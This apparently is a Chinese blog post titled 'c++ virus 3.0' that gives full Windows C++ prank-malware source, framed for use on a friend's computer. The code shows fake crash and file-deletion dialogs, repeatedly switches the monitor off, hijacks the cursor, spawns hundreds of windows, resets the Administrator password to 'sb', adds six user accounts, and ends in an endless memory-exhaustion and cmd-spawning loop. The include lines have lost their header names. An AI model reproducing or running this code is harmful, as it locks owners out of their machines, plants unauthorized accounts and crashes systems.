c++病毒3.0

不要轻易尝逝(出现损失不赔偿)

#include 
#include
#include
#include 
#include 
#include 
#define a 415
#define b 466
#define c 554
#define d 622
#define e 740
#define f 831
#define g 932
using namespace std;
int main ()
{
MessageBox(NULL,TEXT("程序已崩溃"),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(g,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
MessageBox(NULL,TEXT("系统受损严重,正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(f,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(g,34);
Beep(e,354);
 
Beep(a,245);
Beep(d,324);
Beep(a,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(d,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
srand(time(0));
 srand(time(0));
	for(int i=1;i<=100;i++)
	{
		for(int j=1;j<=348;j++)
		{
			SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
        int X = rand()%801;
        int Y = rand()%601;
        SetCursorPos( X, Y );
        Sleep(5000);
        SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
		 } 
		 for(int i=1;i<=999;i++)
		 {
		 	system("start");
		 }
		
		Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
	}
	system("net user Administrator sb");//自动把密码改成sb 
	Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(e,354);
		system("net user 1 sb /add");//创建用户
		system("net user 2 sb /add");//创建用户
		system("net user 3 sb /add");//创建用户
		system("net user 4 sb /add");//创建用
		system("net user 5 sb /add");//创建用户
		system("net user 6 sb /add");//创建用户
	 
    cout<<"正在删除系统文件中...";
    Sleep(1000);
    system("tree c:\\windows");
    system("cls");
    Beep(a,245);
Beep(d,324);
Beep(f,34);
Beep(e,354);
	MessageBox(NULL,TEXT("删除完成114514"),TEXT("电脑助手"),MB_OK);
    Sleep(1000);
    while(1){
    	for(int i=1;i<=900;i++) {
        new char[1000000];
    }//如果扛过了你朋友电脑配置怪好的嘞 
		system("start cmd");
	}
} 

你可能感兴趣的:(c++,病毒,c++,病毒)